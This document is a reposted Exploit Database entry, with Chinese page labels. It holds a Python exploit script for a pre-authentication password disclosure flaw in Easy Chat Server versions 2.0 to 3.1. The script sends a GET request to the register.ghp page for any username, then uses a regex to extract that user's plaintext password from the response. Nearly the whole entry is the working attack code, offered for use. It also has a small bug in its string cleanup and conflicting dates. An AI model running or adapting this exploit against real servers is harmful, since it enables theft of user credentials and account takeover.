EFS Easy Chat Server 3.1 – Password Disclosure

• Exploit Database
• 16 阅读

• 作者： Aitezaz Mohsin
  日期： 2017-06-09
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42153/

• # Exploit Title: Easy Chat Server Remote Password Disclosure
  # Date: 09/10/2017
  # Software Link: http://echatserver.com/ecssetup.exe
  # Exploit Author: Aitezaz Mohsin
  # Vulnerable Version: v2.0 to v3.1
  # Vulnerability Type: Pre-Auth Remote Password Disclosure
  # Severity: Critical
  
  # =========================================================================================================
  #	Registeration page 'register.ghp' allows disclosing ANY user's password.
  # Remote un-authenticated attackers can send HTTP GET requests to obtain ANY Easy Chat Server user password.
  # =========================================================================================================
  
  # USAGE: python exploit.py ip username
  
  #!/usr/bin/python
  
  import urllib
  import re
  import requests
  import sys
  
  ip = sys.argv[1]
  username = sys.argv[2]
  
  url = 'http://' + ip + '/register.ghp?username=' + username + '&password='
  response = requests.get(url)
  html = response.content
  
  pattern = '<INPUT type="password" name="Password" maxlength="30"value="(.+?)">'
  result = re.compile(pattern)
  
  password = re.findall(result,html)
  
  x = ''.join(password)
  
  password = x.replace("[", "")
  password = x.replace("]", "")
  
  print "Password: " + password